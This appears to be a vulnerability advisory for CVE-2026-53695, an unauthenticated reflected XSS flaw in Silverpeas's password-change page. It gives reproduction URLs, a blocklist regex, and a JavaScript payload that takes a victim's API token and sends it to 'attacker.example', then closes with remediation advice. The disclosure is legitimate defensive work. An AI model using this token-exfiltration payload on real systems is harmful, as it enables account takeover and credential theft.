> ## Documentation Index > Fetch the complete documentation index at: https://hackwithmike.com/llms.txt > Use this file to discover all available pages before exploring further. # CVE-2026-53695: Unauthenticated Reflected XSS in Silverpeas > An unauthenticated reflected cross-site scripting vulnerability in the Silverpeas password-change page through version 6.4.6. ## Summary `defaultChangePassword.jsp` in Silverpeas through 6.4.6 reflects the `Login` and `DomainId` request parameters into HTML attribute values without context-appropriate output encoding. Because the page is reachable without authentication, a remote attacker can craft a link that executes JavaScript in a victim's Silverpeas origin. | Field | Details | | ----------------- | ----------------------------------------------------------------------------- | | CVE | CVE-2026-53695 | | Weakness | CWE-79: Cross-site Scripting | | Affected versions | Through 6.4.6 | | Fixed version | 6.4.7 | | Required access | None; victim interaction required | | CVSS 3.1 | 8.2 High; `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N` | | CVSS 4.0 | 6.2 Medium; `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N` | ## Technical details The password-change page writes both request parameters directly into hidden input values: ```jsp wrap theme={null} ``` Neither value is encoded for an HTML attribute context. A double quote in either parameter closes the `value` attribute, allowing the rest of the input to be parsed as markup. An XSS filter applies to the page, but the relevant rule only rejects `script` and `iframe` elements: ```java wrap theme={null} XSS_PATTERNS.add(Pattern.compile("(?i)<[\\s/]*(script|iframe)")); ``` Event handlers on other elements, including `svg` and `img`, pass this blocklist. Output encoding is therefore required even with the filter enabled. ## Reproduction ### 1. Inject markup through `Login` No Silverpeas account is required. Open the following URL, replacing `` with the test instance: ```text wrap theme={null} http:///silverpeas/defaultChangePassword.jsp?DomainId=0&Login="> ``` The resulting input contains the injected element, which runs as soon as the page is rendered: ```html wrap theme={null} JavaScript executing after injection through the Login parameter JavaScript executing after injection through the DomainId parameter Silverpeas response containing injected SVG onload elements ### 2. Extract an API token from an authenticated session The vulnerable page itself is public. If the victim is already signed in, injected JavaScript runs with access to the victim's Silverpeas origin. The profile page exposes the user's API token in the DOM, so the payload can request that page, extract the token, and send it to an attacker-controlled endpoint: ```javascript wrap theme={null} fetch("/silverpeas/RMyProfil/jsp/MyInfos") .then((response) => response.text()) .then((html) => { const profile = new DOMParser().parseFromString(html, "text/html"); const token = profile .getElementById("token") .querySelectorAll("td")[1] .textContent.trim(); navigator.sendBeacon("https://attacker.example/exfil?t=" + token); }); ``` The script can be Base64-encoded to make it easier to place inside the query string: ```text wrap theme={null} http:///silverpeas/defaultChangePassword.jsp?DomainId=0&Login="> ``` The captured token can then be verified against the profile API: ```http wrap theme={null} GET /silverpeas/services/profile/users/token HTTP/1.1 Host: Authorization: Bearer ``` ## Impact The attacker does not need a Silverpeas account. JavaScript executes in the application origin after a victim opens the crafted link. For an authenticated administrator, the exposed API token allows the attacker to authenticate to the API and perform administrative actions, including creating or taking over accounts. ## Remediation Upgrade to Silverpeas 6.4.7 or later. The direct fix is to encode `Login` and `DomainId` for an HTML attribute context before rendering them. Expanding the XSS blocklist can provide additional filtering, but it does not replace contextual output encoding. ## References * [Research article: cross-site scripting](/research/silverpeas/2026-09#cross-site-scripting) * [Silverpeas fix commit](https://github.com/Silverpeas/Silverpeas-Core/commit/f3900d205d4a505d9d7c728812eedee696fcd801) * [Silverpeas 6.4.7](https://github.com/Silverpeas/Silverpeas-Core/releases/tag/6.4.7) * [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-53695)